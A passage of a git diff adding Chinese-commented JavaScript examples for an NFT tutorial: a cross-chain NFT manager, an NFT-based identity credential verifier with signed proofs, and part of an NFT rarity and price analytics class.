+        nfts.push({
+          tokenId,
+          tokenURI,
+          metadata,
+          originalChainId: originalInfo.chainId,
+          originalTokenId: originalInfo.tokenId.toNumber(),
+          originalOwner: originalInfo.originalOwner
+        });
+      }
+      
+      return nfts;
+    } catch (error) {
+      console.error("获取用户NFT失败:", error);
+      throw error;
+    }
+  }
+
+  /**
+   * 获取用户在指定索引处的NFT ID
+   * 注意：这是一个模拟方法，实际实现可能需要合约支持或使用事件查询
+   * @param {string} address 用户地址
+   * @param {number} index 索引
+   * @returns {Promise<number>} Token ID
+   */
+  async getTokenIdOfOwnerByIndex(address, index) {
+    // 这里应该调用合约的方法，如tokenOfOwnerByIndex
+    // 由于标准ERC721不一定实现这个方法，这里使用模拟数据
+    // 实际应用中应该使用合约提供的方法或通过事件查询
+    
+    // 模拟实现，返回一个基于地址和索引的哈希值作为tokenId
+    const addressHash = ethers.utils.keccak256(ethers.utils.toUtf8Bytes(address));
+    const indexBytes = ethers.utils.hexZeroPad(ethers.utils.hexlify(index), 32);
+    const combinedHash = ethers.utils.keccak256(ethers.utils.concat([addressHash, indexBytes]));
+    
+    // 将哈希转换为数字（使用最后8个字节以避免溢出）
+    return parseInt(combinedHash.slice(-16), 16) % 1000000; // 模拟一个较小的tokenId
+  }
+
+  /**
+   * 获取NFT元数据
+   * @param {string} tokenURI NFT的元数据URI
+   * @returns {Promise<Object>} 元数据对象
+   */
+  async fetchMetadata(tokenURI) {
+    try {
+      let url = tokenURI;
+      
+      // 处理IPFS URI
+      if (tokenURI.startsWith("ipfs://")) {
+        const ipfsHash = tokenURI.replace("ipfs://", "");
+        url = `https://ipfs.io/ipfs/${ipfsHash}`;
+      }
+      
+      // 获取元数据
+      const response = await axios.get(url);
+      return response.data;
+    } catch (error) {
+      console.error("获取元数据失败:", error);
+      return { error: "无法获取元数据" };
+    }
+  }
+
+  /**
+   * 将NFT发送到目标链
+   * @param {number} destinationChainId 目标链ID
+   * @param {number} tokenId 要发送的NFT ID
+   * @returns {Promise<Object>} 发送结果
+   */
+  async sendNFTToChain(destinationChainId, tokenId) {
+    this.checkConnection();
+    
+    if (!chainConfigs[destinationChainId]) {
+      throw new Error(`不支持的目标链ID: ${destinationChainId}`);
+    }
+    
+    try {
+      // 获取LayerZero链ID
+      const dstChainId = chainConfigs[destinationChainId].layerZeroId;
+      
+      // 设置适配器参数（这里使用默认参数）
+      const adapterParams = ethers.utils.solidityPack(["uint16", "uint256"], [1, 200000]);
+      
+      // 估算跨链费用
+      const fee = await this.contracts[this.currentChainId].estimateFee(
+        dstChainId,
+        tokenId,
+        adapterParams
+      );
+      
+      // 添加10%的缓冲
+      const feeWithBuffer = fee.mul(110).div(100);
+      
+      // 发送NFT到目标链
+      const tx = await this.contracts[this.currentChainId].sendNFT(
+        dstChainId,
+        tokenId,
+        adapterParams,
+        { value: feeWithBuffer }
+      );
+      
+      // 等待交易确认
+      const receipt = await tx.wait();
+      
+      // 从事件中获取发送信息
+      const sentEvent = receipt.events.find(event => event.event === "NFTSent");
+      
+      return {
+        success: true,
+        sourceChainId: this.currentChainId,
+        destinationChainId,
+        tokenId,
+        transactionHash: receipt.transactionHash,
+        explorerLink: `${chainConfigs[this.currentChainId].explorer}/tx/${receipt.transactionHash}`
+      };
+    } catch (error) {
+      console.error("发送NFT失败:", error);
+      return {
+        success: false,
+        error: error.message
+      };
+    }
+  }
+
+  /**
+   * 估算跨链费用
+   * @param {number} destinationChainId 目标链ID
+   * @param {number} tokenId 要发送的NFT ID
+   * @returns {Promise<string>} 估算的费用（以ETH为单位）
+   */
+  async estimateCrossChainFee(destinationChainId, tokenId) {
+    this.checkConnection();
+    
+    if (!chainConfigs[destinationChainId]) {
+      throw new Error(`不支持的目标链ID: ${destinationChainId}`);
+    }
+    
+    try {
+      // 获取LayerZero链ID
+      const dstChainId = chainConfigs[destinationChainId].layerZeroId;
+      
+      // 设置适配器参数
+      const adapterParams = ethers.utils.solidityPack(["uint16", "uint256"], [1, 200000]);
+      
+      // 估算跨链费用
+      const fee = await this.contracts[this.currentChainId].estimateFee(
+        dstChainId,
+        tokenId,
+        adapterParams
+      );
+      
+      // 添加10%的缓冲
+      const feeWithBuffer = fee.mul(110).div(100);
+      
+      // 转换为ETH单位
+      return ethers.utils.formatEther(feeWithBuffer);
+    } catch (error) {
+      console.error("估算费用失败:", error);
+      throw error;
+    }
+  }
+
+  /**
+   * 检查跨链NFT的状态
+   * @param {number} sourceChainId 源链ID
+   * @param {number} sourceTokenId 源链上的Token ID
+   * @returns {Promise<Object>} NFT在目标链上的状态
+   */
+  async checkCrossChainNFTStatus(sourceChainId, sourceTokenId) {
+    this.checkConnection();
+    
+    try {
+      // 获取LayerZero源链ID
+      const srcChainId = chainConfigs[sourceChainId].layerZeroId;
+      
+      // 查询目标链上的映射Token ID
+      const targetTokenId = await this.contracts[this.currentChainId].crossChainMapping(
+        srcChainId,
+        sourceTokenId
+      );
+      
+      if (targetTokenId.toNumber() === 0) {
+        return {
+          exists: false,
+          message: "NFT尚未在当前链上接收或映射不存在"
+        };
+      }
+      
+      // 获取NFT所有者
+      const owner = await this.contracts[this.currentChainId].ownerOf(targetTokenId);
+      
+      // 获取NFT元数据
+      const tokenURI = await this.contracts[this.currentChainId].tokenURI(targetTokenId);
+      const metadata = await this.fetchMetadata(tokenURI);
+      
+      return {
+        exists: true,
+        targetTokenId: targetTokenId.toNumber(),
+        owner,
+        tokenURI,
+        metadata
+      };
+    } catch (error) {
+      console.error("检查跨链NFT状态失败:", error);
+      return {
+        exists: false,
+        error: error.message
+      };
+    }
+  }
+
+  /**
+   * 检查钱包连接状态
+   * @private
+   */
+  checkConnection() {
+    if (!this.currentChainId || !this.signer) {
+      throw new Error("请先连接钱包");
+    }
+  }
+
+  /**
+   * 获取支持的链列表
+   * @returns {Array} 支持的链列表
+   */
+  getSupportedChains() {
+    return Object.entries(chainConfigs).map(([chainId, config]) => ({
+      chainId: parseInt(chainId),
+      name: config.name,
+      layerZeroId: config.layerZeroId
+    }));
+  }
+
+  /**
+   * 获取当前连接的链信息
+   * @returns {Object|null} 当前链信息
+   */
+  getCurrentChain() {
+    if (!this.currentChainId) return null;
+    
+    return {
+      chainId: this.currentChainId,
+      name: chainConfigs[this.currentChainId].name,
+      layerZeroId: chainConfigs[this.currentChainId].layerZeroId
+    };
+  }
+}
+
+// 使用示例
+async function demoCrossChainNFT() {
+  try {
+    // 初始化管理器
+    const manager = new CrossChainNFTManager();
+    
+    // 显示支持的链
+    const supportedChains = manager.getSupportedChains();
+    console.log("支持的链:", supportedChains);
+    
+    // 连接以太坊钱包
+    const address = await manager.connectWallet(1); // 连接以太坊主网
+    console.log(`已连接钱包: ${address}`);
+    
+    // 铸造新NFT
+    const mintResult = await manager.mintNFT("ipfs://QmXxxx...");
+    console.log("铸造结果:", mintResult);
+    
+    if (mintResult.success) {
+      // 获取用户NFT
+      const nfts = await manager.getUserNFTs(address);
+      console.log("用户NFT:", nfts);
+      
+      // 估算跨链费用
+      const fee = await manager.estimateCrossChainFee(137, mintResult.tokenId); // 发送到Polygon
+      console.log(`发送到Polygon的估算费用: ${fee} ETH`);
+      
+      // 发送NFT到Polygon
+      const sendResult = await manager.sendNFTToChain(137, mintResult.tokenId);
+      console.log("发送结果:", sendResult);
+      
+      if (sendResult.success) {
+        // 切换到Polygon检查NFT状态
+        await manager.connectWallet(137);
+        
+        // 等待一段时间让跨链消息传递
+        console.log("等待跨链消息传递...");
+        await new Promise(resolve => setTimeout(resolve, 60000)); // 等待60秒
+        
+        // 检查NFT在Polygon上的状态
+        const status = await manager.checkCrossChainNFTStatus(1, mintResult.tokenId);
+        console.log("Polygon上的NFT状态:", status);
+      }
+    }
+  } catch (error) {
+    console.error("演示过程中出错:", error);
+  }
+}
+
+if (typeof window !== 'undefined') {
+  window.CrossChainNFTManager = CrossChainNFTManager;
+}
+
+if (typeof module !== 'undefined') {
+  module.exports = {
+    CrossChainNFTManager
+  };
+}
diff --git a/nft/Practical-Applications/examples/identity-verification.js b/nft/Practical-Applications/examples/identity-verification.js
new file mode 100644
index 000000000..9a5e3752d
--- /dev/null
+++ b/nft/Practical-Applications/examples/identity-verification.js
@@ -0,0 +1,313 @@
+const { ethers } = require("ethers");
+const axios = require("axios");
+
+// 身份NFT合约ABI（简化版）
+const identityNFTAbi = [
+  "function balanceOf(address owner) view returns (uint256)",
+  "function tokenOfOwnerByIndex(address owner, uint256 index) view returns (uint256)",
+  "function tokenURI(uint256 tokenId) view returns (string)",
+  "function verifyCredential(uint256 tokenId) view returns (bool)",
+  "function credentials(uint256 tokenId) view returns (address subject, uint256 issuanceDate, uint256 expirationDate, uint8 status)"
+];
+
+// 身份验证类
+class NFTIdentityVerifier {
+  constructor(contractAddress, provider) {
+    this.provider = provider;
+    this.contract = new ethers.Contract(contractAddress, identityNFTAbi, provider);
+  }
+
+  /**
+   * 连接用户钱包
+   */
+  async connectWallet() {
+    // 检查是否在浏览器环境且存在以太坊提供者
+    if (window.ethereum) {
+      try {
+        // 请求用户连接钱包
+        const accounts = await window.ethereum.request({ method: "eth_requestAccounts" });
+        
+        // 创建Web3Provider
+        this.provider = new ethers.providers.Web3Provider(window.ethereum);
+        this.signer = this.provider.getSigner();
+        
+        // 使用签名者连接合约
+        this.contract = this.contract.connect(this.signer);
+        
+        return accounts[0];
+      } catch (error) {
+        console.error("连接钱包失败:", error);
+        throw new Error("连接钱包失败");
+      }
+    } else {
+      throw new Error("未检测到以太坊钱包，请安装MetaMask");
+    }
+  }
+
+  /**
+   * 检查用户是否拥有身份NFT
+   * @param {string} address 用户地址
+   * @returns {Promise<boolean>} 是否拥有身份NFT
+   */
+  async hasIdentityNFT(address) {
+    try {
+      const balance = await this.contract.balanceOf(address);
+      return balance.gt(0);
+    } catch (error) {
+      console.error("检查身份NFT失败:", error);
+      return false;
+    }
+  }
+
+  /**
+   * 获取用户的身份NFT ID
+   * @param {string} address 用户地址
+   * @returns {Promise<number|null>} 身份NFT的ID，如果没有则返回null
+   */
+  async getIdentityTokenId(address) {
+    try {
+      const balance = await this.contract.balanceOf(address);
+      if (balance.gt(0)) {
+        const tokenId = await this.contract.tokenOfOwnerByIndex(address, 0);
+        return tokenId.toNumber();
+      }
+      return null;
+    } catch (error) {
+      console.error("获取身份Token ID失败:", error);
+      return null;
+    }
+  }
+
+  /**
+   * 验证身份NFT的有效性
+   * @param {number} tokenId 身份NFT的ID
+   * @returns {Promise<boolean>} 身份是否有效
+   */
+  async verifyIdentity(tokenId) {
+    try {
+      // 调用合约的验证方法
+      const isValid = await this.contract.verifyCredential(tokenId);
+      return isValid;
+    } catch (error) {
+      console.error("验证身份失败:", error);
+      return false;
+    }
+  }
+
+  /**
+   * 获取身份凭证详情
+   * @param {number} tokenId 身份NFT的ID
+   * @returns {Promise<Object>} 凭证详情
+   */
+  async getCredentialDetails(tokenId) {
+    try {
+      // 获取链上凭证基本信息
+      const credential = await this.contract.credentials(tokenId);
+      
+      // 获取凭证元数据
+      const tokenURI = await this.contract.tokenURI(tokenId);
+      let metadata;
+      
+      // 处理IPFS URI
+      if (tokenURI.startsWith("ipfs://")) {
+        const ipfsHash = tokenURI.replace("ipfs://", "");
+        const response = await axios.get(`https://ipfs.io/ipfs/${ipfsHash}`);
+        metadata = response.data;
+      } else {
+        // 处理HTTP URI
+        const response = await axios.get(tokenURI);
+        metadata = response.data;
+      }
+      
+      // 组合链上数据和元数据
+      return {
+        tokenId,
+        subject: credential.subject,
+        issuanceDate: new Date(credential.issuanceDate.toNumber() * 1000).toISOString(),
+        expirationDate: new Date(credential.expirationDate.toNumber() * 1000).toISOString(),
+        status: ["Valid", "Revoked", "Expired"][credential.status],
+        metadata
+      };
+    } catch (error) {
+      console.error("获取凭证详情失败:", error);
+      throw error;
+    }
+  }
+
+  /**
+   * 选择性披露身份信息
+   * @param {number} tokenId 身份NFT的ID
+   * @param {Array<string>} fields 需要披露的字段
+   * @returns {Promise<Object>} 选择性披露的身份信息
+   */
+  async discloseSelectedInfo(tokenId, fields) {
+    try {
+      const details = await this.getCredentialDetails(tokenId);
+      
+      // 如果凭证无效，拒绝披露任何信息
+      if (details.status !== "Valid") {
+        throw new Error("凭证无效，无法披露信息");
+      }
+      
+      // 从可验证凭证中提取请求的字段
+      const credential = details.metadata.verifiableCredential;
+      const subject = credential.credentialSubject;
+      
+      const disclosedInfo = {};
+      
+      // 只返回请求的字段
+      fields.forEach(field => {
+        if (subject[field] !== undefined) {
+          disclosedInfo[field] = subject[field];
+        }
+      });
+      
+      // 添加验证信息，但不包含完整凭证
+      disclosedInfo.verified = true;
+      disclosedInfo.issuer = credential.issuer;
+      disclosedInfo.issuanceDate = credential.issuanceDate;
+      
+      return disclosedInfo;
+    } catch (error) {
+      console.error("披露信息失败:", error);
+      throw error;
+    }
+  }
+
+  /**
+   * 生成用于第三方验证的证明
+   * @param {number} tokenId 身份NFT的ID
+   * @param {Array<string>} fields 需要证明的字段
+   * @returns {Promise<Object>} 包含签名的证明对象
+   */
+  async generateProof(tokenId, fields) {
+    try {
+      // 确保用户已连接钱包
+      if (!this.signer) {
+        throw new Error("请先连接钱包");
+      }
+      
+      // 获取选择性披露的信息
+      const disclosedInfo = await this.discloseSelectedInfo(tokenId, fields);
+      
+      // 创建证明消息
+      const message = JSON.stringify({
+        tokenId: tokenId.toString(),
+        fields,
+        timestamp: Date.now(),
+        disclosedInfo
+      });
+      
+      // 用户签名证明消息
+      const signature = await this.signer.signMessage(message);
+      
+      // 返回完整证明
+      return {
+        message,
+        signature,
+        address: await this.signer.getAddress()
+      };
+    } catch (error) {
+      console.error("生成证明失败:", error);
+      throw error;
+    }
+  }
+}
+
+/**
+ * 第三方验证器 - 验证用户提供的身份证明
+ */
+class IdentityProofVerifier {
+  /**
+   * 验证用户提供的身份证明
+   * @param {Object} proof 用户提供的证明对象
+   * @returns {boolean} 证明是否有效
+   */
+  static verifyProof(proof) {
+    try {
+      // 解析消息
+      const messageObj = JSON.parse(proof.message);
+      
+      // 验证签名
+      const recoveredAddress = ethers.utils.verifyMessage(proof.message, proof.signature);
+      
+      // 检查签名地址是否匹配
+      if (recoveredAddress.toLowerCase() !== proof.address.toLowerCase()) {
+        return false;
+      }
+      
+      // 检查时间戳是否在合理范围内（例如15分钟内）
+      const timestamp = messageObj.timestamp;
+      const now = Date.now();
+      if (now - timestamp > 15 * 60 * 1000) {
+        return false; // 证明已过期
+      }
+      
+      // 验证通过
+      return true;
+    } catch (error) {
+      console.error("验证证明失败:", error);
+      return false;
+    }
+  }
+}
+
+// 使用示例
+async function demoIdentityVerification() {
+  try {
+    // 初始化验证器（使用Infura提供者示例）
+    const provider = new ethers.providers.JsonRpcProvider("https://mainnet.infura.io/v3/YOUR_INFURA_KEY");
+    const verifier = new NFTIdentityVerifier("0x1234567890123456789012345678901234567890", provider);
+    
+    // 连接钱包
+    const userAddress = await verifier.connectWallet();
+    console.log(`已连接钱包: ${userAddress}`);
+    
+    // 检查用户是否拥有身份NFT
+    const hasIdentity = await verifier.hasIdentityNFT(userAddress);
+    
+    if (hasIdentity) {
+      // 获取用户的身份NFT ID
+      const tokenId = await verifier.getIdentityTokenId(userAddress);
+      console.log(`找到身份NFT，Token ID: ${tokenId}`);
+      
+      // 验证身份有效性
+      const isValid = await verifier.verifyIdentity(tokenId);
+      console.log(`身份验证结果: ${isValid ? '有效' : '无效'}`);
+      
+      if (isValid) {
+        // 获取完整凭证详情
+        const details = await verifier.getCredentialDetails(tokenId);
+        console.log("凭证详情:", details);
+        
+        // 选择性披露信息（仅披露验证级别）
+        const disclosedInfo = await verifier.discloseSelectedInfo(tokenId, ["verificationLevel"]);
+        console.log("选择性披露信息:", disclosedInfo);
+        
+        // 生成用于第三方验证的证明
+        const proof = await verifier.generateProof(tokenId, ["verificationLevel"]);
+        console.log("生成的证明:", proof);
+        
+        // 第三方验证证明
+        const isProofValid = IdentityProofVerifier.verifyProof(proof);
+        console.log(`证明验证结果: ${isProofValid ? '有效' : '无效'}`);
+      }
+    } else {
+      console.log("用户没有身份NFT");
+    }
+  } catch (error) {
+    console.error("演示过程中出错:", error);
+  }
+}
+
+if (typeof window !== 'undefined') {
+  window.NFTIdentityVerifier = NFTIdentityVerifier;
+  window.IdentityProofVerifier = IdentityProofVerifier;
+}
+
+if (typeof module !== 'undefined') {
+  module.exports = {
+    NFTIdentityVerifier,
+    IdentityProofVerifier
+  };
+}
diff --git a/nft/Practical-Applications/examples/nft-analytics.js b/nft/Practical-Applications/examples/nft-analytics.js
new file mode 100644
index 000000000..cf606b290
--- /dev/null
+++ b/nft/Practical-Applications/examples/nft-analytics.js
@@ -0,0 +1,651 @@
+const { ethers } = require("ethers");
+const axios = require("axios");
+
+// NFT合约ABI（简化版，仅包含需要的函数）
+const nftAbi = [
+  "function balanceOf(address owner) view returns (uint256)",
+  "function tokenOfOwnerByIndex(address owner, uint256 index) view returns (uint256)",
+  "function tokenURI(uint256 tokenId) view returns (string)",
+  "function totalSupply() view returns (uint256)"
+];
+
+// 市场合约ABI（简化版）
+const marketplaceAbi = [
+  "event ItemSold(uint256 indexed tokenId, address indexed seller, address indexed buyer, uint256 price, uint256 timestamp)"
+];
+
+/**
+ * NFT数据分析类
+ */
+class NFTAnalytics {
+  /**
+   * 构造函数
+   * @param {Object} config 配置对象
+   */
+  constructor(config) {
+    this.config = {
+      nftContractAddress: config.nftContractAddress,
+      marketplaceAddress: config.marketplaceAddress,
+      rpcUrl: config.rpcUrl || "https://mainnet.infura.io/v3/YOUR_INFURA_KEY",
+      startBlock: config.startBlock || 0,
+      collectionName: config.collectionName || "NFT Collection"
+    };
+    
+    // 初始化提供者和合约
+    this.provider = new ethers.providers.JsonRpcProvider(this.config.rpcUrl);
+    this.nftContract = new ethers.Contract(this.config.nftContractAddress, nftAbi, this.provider);
+    this.marketplaceContract = new ethers.Contract(this.config.marketplaceAddress, marketplaceAbi, this.provider);
+    
+    // 初始化数据存储
+    this.metadata = {};
+    this.transactions = [];
+    this.attributeFrequency = {};
+    this.priceHistory = {};
+  }
+
+  /**
+   * 初始化分析器，获取基础数据
+   */
+  async initialize() {
+    try {
+      console.log(`初始化 ${this.config.collectionName} 数据分析...`);
+      
+      // 获取NFT总供应量
+      this.totalSupply = await this.nftContract.totalSupply();
+      console.log(`总供应量: ${this.totalSupply.toString()}`);
+      
+      // 获取交易历史
+      await this.fetchTransactionHistory();
+      
+      console.log("初始化完成");
+      return true;
+    } catch (error) {
+      console.error("初始化失败:", error);
+      return false;
+    }
+  }
+
+  /**
+   * 获取NFT元数据
+   * @param {number} startTokenId 起始Token ID
+   * @param {number} endTokenId 结束Token ID
+   */
+  async fetchMetadata(startTokenId, endTokenId) {
+    console.log(`获取Token ID ${startTokenId} 到 ${endTokenId} 的元数据...`);
+    
+    const batchSize = 10; // 每批处理的数量
+    const promises = [];
+    
+    for (let i = startTokenId; i <= endTokenId; i++) {
+      promises.push(this.fetchSingleNFTMetadata(i));
+      
+      // 批量处理，避免请求过多
+      if (promises.length >= batchSize || i === endTokenId) {
+        await Promise.allSettled(promises);
+        promises.length = 0; // 清空数组
+        
+        // 简单的进度显示
+        const progress = Math.floor(((i - startTokenId + 1) / (endTokenId - startTokenId + 1)) * 100);
+        console.log(`进度: ${progress}%`);
+      }
+    }
+    
+    // 分析属性频率
+    this.analyzeAttributeFrequency();
+    
+    console.log(`元数据获取完成，共 ${Object.keys(this.metadata).length} 个NFT`);
+  }
+
+  /**
+   * 获取单个NFT的元数据
+   * @param {number} tokenId Token ID
+   */
+  async fetchSingleNFTMetadata(tokenId) {
+    try {
+      // 获取Token URI
+      const tokenURI = await this.nftContract.tokenURI(tokenId);
+      
+      // 处理IPFS URI
+      let url = tokenURI;
+      if (tokenURI.startsWith("ipfs://")) {
+        const ipfsHash = tokenURI.replace("ipfs://", "");
+        url = `https://ipfs.io/ipfs/${ipfsHash}`;
+      }
+      
+      // 获取元数据
+      const response = await axios.get(url);
+      const metadata = response.data;
+      
+      // 存储元数据
+      this.metadata[tokenId] = metadata;
+      
+      return metadata;
+    } catch (error) {
+      console.error(`获取Token ID ${tokenId} 的元数据失败:`, error);
+      return null;
+    }
+  }
+
+  /**
+   * 获取交易历史
+   */
+  async fetchTransactionHistory() {
+    console.log("获取交易历史...");
+    
+    try {
+      // 创建过滤器获取销售事件
+      const filter = this.marketplaceContract.filters.ItemSold();
+      
+      // 获取事件日志
+      const logs = await this.marketplaceContract.queryFilter(
+        filter,
+        this.config.startBlock,
+        "latest"
+      );
+      
+      console.log(`找到 ${logs.length} 条交易记录`);
+      
+      // 处理事件日志
+      for (const log of logs) {
+        const { tokenId, seller, buyer, price, timestamp } = log.args;
+        
+        const transaction = {
+          tokenId: tokenId.toString(),
+          seller: seller,
+          buyer: buyer,
+          price: ethers.utils.formatEther(price), // 转换为ETH
+          priceWei: price.toString(),
+          timestamp: timestamp.toNumber(),
+          date: new Date(timestamp.toNumber() * 1000).toISOString(),
+          blockNumber: log.blockNumber,
+          transactionHash: log.transactionHash
+        };
+        
+        this.transactions.push(transaction);
+        
+        // 更新价格历史
+        if (!this.priceHistory[tokenId]) {
+          this.priceHistory[tokenId] = [];
+        }
+        
+        this.priceHistory[tokenId].push({
+          price: transaction.price,
+          timestamp: transaction.timestamp,
+          date: transaction.date
+        });
+      }
+      
+      // 按时间排序交易
+      this.transactions.sort((a, b) => a.timestamp - b.timestamp);
+      
+      // 对每个NFT的价格历史按时间排序
+      for (const tokenId in this.priceHistory) {
+        this.priceHistory[tokenId].sort((a, b) => a.timestamp - b.timestamp);
+      }
+      
+      return this.transactions;
+    } catch (error) {
+      console.error("获取交易历史失败:", error);
+      return [];
+    }
+  }
+
+  /**
+   * 分析属性频率
+   */
+  analyzeAttributeFrequency() {
+    console.log("分析属性频率...");
+    
+    // 初始化属性频率对象
+    this.attributeFrequency = {};
+    
+    // 遍历所有元数据
+    for (const tokenId in this.metadata) {
+      const metadata = this.metadata[tokenId];
+      
+      // 检查是否有属性数组
+      if (!metadata.attributes || !Array.isArray(metadata.attributes)) {
+        continue;
+      }
+      
+      // 遍历属性
+      for (const attribute of metadata.attributes) {
+        const { trait_type, value } = attribute;
+        
+        if (!trait_type || value === undefined) continue;
+        
+        // 初始化特征类型
+        if (!this.attributeFrequency[trait_type]) {
+          this.attributeFrequency[trait_type] = {};
+        }
+        
+        // 增加特征值计数
+        const valueStr = String(value);
+        if (!this.attributeFrequency[trait_type][valueStr]) {
+          this.attributeFrequency[trait_type][valueStr] = 0;
+        }
+        
+        this.attributeFrequency[trait_type][valueStr]++;
+      }
+    }
+    
+    console.log("属性频率分析完成");
+    return this.attributeFrequency;
+  }
+
+  /**
+   * 计算NFT稀有度分数
+   * @param {number} tokenId Token ID
+   * @returns {Object} 稀有度分数和详情
+   */
+  calculateRarityScore(tokenId) {
+    const metadata = this.metadata[tokenId];
+    if (!metadata || !metadata.attributes || !Array.isArray(metadata.attributes)) {
+      return { score: 0, details: {} };
+    }
+    
+    let totalScore = 0;
+    const details = {};
+    const totalNFTs = Object.keys(this.metadata).length;
+    
+    // 遍历属性计算稀有度
+    for (const attribute of metadata.attributes) {
+      const { trait_type, value } = attribute;
+      
+      if (!trait_type || value === undefined) continue;
+      
+      const valueStr = String(value);
+      const frequency = this.attributeFrequency[trait_type][valueStr];
+      const rarityScore = totalNFTs / frequency; // 稀有度分数 = 总数 / 频率
+      
+      details[trait_type] = {
+        value: valueStr,
+        frequency,
+        frequencyPercentage: (frequency / totalNFTs) * 100,
+        rarityScore
+      };
+      
+      totalScore += rarityScore;
+    }
+    
+    return {
+      tokenId,
+      score: totalScore,
+      normalizedScore: totalScore / metadata.attributes.length, // 归一化分数
+      details
+    };
+  }
+
+  /**
+   * 计算集合中所有NFT的稀有度排名
+   * @returns {Array} 稀有度排名
+   */
+  calculateRarityRanking() {
+    console.log("计算稀有度排名...");
+    
+    const rarityScores = [];
+    
+    // 计算每个NFT的稀有度分数
+    for (const tokenId in this.metadata) {
+      const rarityData = this.calculateRarityScore(tokenId);
+      rarityScores.push(rarityData);
+    }
+    
+    // 按稀有度分数排序（从高到低）
+    rarityScores.sort((a, b) => b.score - a.score);
+    
+    // 添加排名
+    rarityScores.forEach((item, index) => {
+      item.rank = index + 1;
+    });
+    
+    console.log("稀有度排名计算完成");
+    return rarityScores;
+  }
+
+  /**
+   * 分析价格趋势
+   * @returns {Object} 价格趋势分析结果
+   */
+  analyzePriceTrends() {
+    console.log("分析价格趋势...");
+    
+    // 按时间段分组的交易
+    const dailyVolume = {};
+    const weeklyVolume = {};
+    const monthlyVolume = {};
+    
+    // 价格统计
+    let totalVolume = 0;
+    let minPrice = Infinity;
+    let maxPrice = 0;
+    let totalTransactions = this.transactions.length;
+    
+    // 处理每笔交易
+    for (const tx of this.transactions) {
+      const price = parseFloat(tx.price);
+      const date = new Date(tx.timestamp * 1000);
+      
+      // 更新统计数据
+      totalVolume += price;
+      minPrice = Math.min(minPrice, price);
+      maxPrice = Math.max(maxPrice, price);
+      
+      // 日期格式化
+      const dailyKey = date.toISOString().split('T')[0]; // YYYY-MM-DD
+      const weeklyKey = this.getWeekKey(date);
+      const monthlyKey = `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, '0')}`; // YYYY-MM
+      
+      // 更新日交易量
+      if (!dailyVolume[dailyKey]) {
+        dailyVolume[dailyKey] = { volume: 0, count: 0, avgPrice: 0 };
+      }
+      dailyVolume[dailyKey].volume += price;
+      dailyVolume[dailyKey].count += 1;
+      dailyVolume[dailyKey].avgPrice = dailyVolume[dailyKey].volume / dailyVolume[dailyKey].count;
+      
+      // 更新周交易量
+      if (!weeklyVolume[weeklyKey]) {
+        weeklyVolume[weeklyKey] = { volume: 0, count: 0, avgPrice: 0 };
+      }
+      weeklyVolume[weeklyKey].volume += price;
+      weeklyVolume[weeklyKey].count += 1;
+      weeklyVolume[weeklyKey].avgPrice = weeklyVolume[weeklyKey].volume / weeklyVolume[weeklyKey].count;
+      
+      // 更新月交易量
+      if (!monthlyVolume[monthlyKey]) {
+        monthlyVolume[monthlyKey] = { volume: 0, count: 0, avgPrice: 0 };
+      }
+      monthlyVolume[monthlyKey].volume += price;
+      monthlyVolume[monthlyKey].count += 1;
+      monthlyVolume[monthlyKey].avgPrice = monthlyVolume[monthlyKey].volume / monthlyVolume[monthlyKey].count;
+    }
+    
+    // 计算平均价格
+    const avgPrice = totalVolume / totalTransactions;
+    
+    // 转换为数组格式，方便前端处理
+    const dailyVolumeArray = Object.entries(dailyVolume).map(([date, data]) => ({
+      date,
+      volume: data.volume,
+      count: data.count,
+      avgPrice: data.avgPrice
+    }));
+    
+    const weeklyVolumeArray = Object.entries(weeklyVolume).map(([week, data]) => ({
+      week,
+      volume: data.volume,
+      count: data.count,
+      avgPrice: data.avgPrice
+    }));
+    
+    const monthlyVolumeArray = Object.entries(monthlyVolume).map(([month, data]) => ({
+      month,
+      volume: data.volume,
+      count: data.count,
+      avgPrice: data.avgPrice
+    }));
+    
+    // 按日期排序
+    dailyVolumeArray.sort((a, b) => a.date.localeCompare(b.date));
+    weeklyVolumeArray.sort((a, b) => a.week.localeCompare(b.week));
+    monthlyVolumeArray.sort((a, b) => a.month.localeCompare(b.month));
+    
+    // 计算价格变化趋势
+    let priceChangeTrend = "稳定";
+    if (dailyVolumeArray.length >= 2) {
+      const firstAvgPrice = dailyVolumeArray[0].avgPrice;
+      const lastAvgPrice = dailyVolumeArray[dailyVolumeArray.length - 1].avgPrice;
+      const priceChangePercent = ((lastAvgPrice - firstAvgPrice) / firstAvgPrice) * 100;
+      
+      if (priceChangePercent > 10) {
+        priceChangeTrend = "上涨";
+      } else if (priceChangePercent < -10) {
+        priceChangeTrend = "下跌";
+      }
+    }
+    
+    console.log("价格趋势分析完成");
+    
+    return {
+      summary: {
+        totalVolume,
+        totalTransactions,
+        minPrice,
+        maxPrice,
+        avgPrice,
+        priceChangeTrend
+      },
+      daily: dailyVolumeArray,
+      weekly: weeklyVolumeArray,
+      monthly: monthlyVolumeArray
+    };
+  }
+
+  /**
+   * 获取周标识（YYYY-WW格式）
+   * @param {Date} date 日期
+   * @returns {string} 周标识
+   */
+  getWeekKey(date) {
+    const firstDayOfYear = new Date(date.getFullYear(), 0, 1);
+    const pastDaysOfYear = (date - firstDayOfYear) / 86400000;
+    const weekNumber = Math.ceil((pastDaysOfYear + firstDayOfYear.getDay() + 1) / 7);
+    return `${date.getFullYear()}-W${String(weekNumber).padStart(2, '0')}`;
+  }
+
+  /**
+   * 分析持有者分布
+   * @returns {Object} 持有者分布分析结果
+   */
+  async analyzeHolderDistribution() {
+    console.log("分析持有者分布...");
+    
+    // 持有者映射：地址 => 拥有的NFT数量
+    const holders = {};
+    // 持有者映射：地址 => 拥有的NFT ID列表
+    const holderTokens = {};
+    
+    // 获取当前区块
+    const currentBlock = await this.provider.getBlockNumber();
+    
+    // 使用最新交易记录确定当前持有者
+    // 注意：这是一个简化方法，完整实现应该考虑所有Transfer事件
+    for (const tokenId in this.metadata) {
+      try {
+        // 获取当前持有者
+        const owner = await this.nftContract.ownerOf(tokenId);
+        
+        // 更新持有者计数
+        if (!holders[owner]) {
+          holders[owner] = 0;
+          holderTokens[owner] = [];
+        }
+        
+        holders[owner]++;
+        holderTokens[owner].push(tokenId);
+      } catch (error) {
+        console.error(`获取Token ID ${tokenId} 的持有者失败:`, error);
+      }
+    }
+    
+    // 计算持有者统计信息
+    const uniqueHolders = Object.keys(holders).length;
+    const holdersArray = Object.entries(holders).map(([address, count]) => ({
+      address,
+      count,
+      percentage: (count / this.totalSupply) * 100
+    }));
+    
+    // 按持有数量排序（从高到低）
+    holdersArray.sort((a, b) => b.count - a.count);
+    
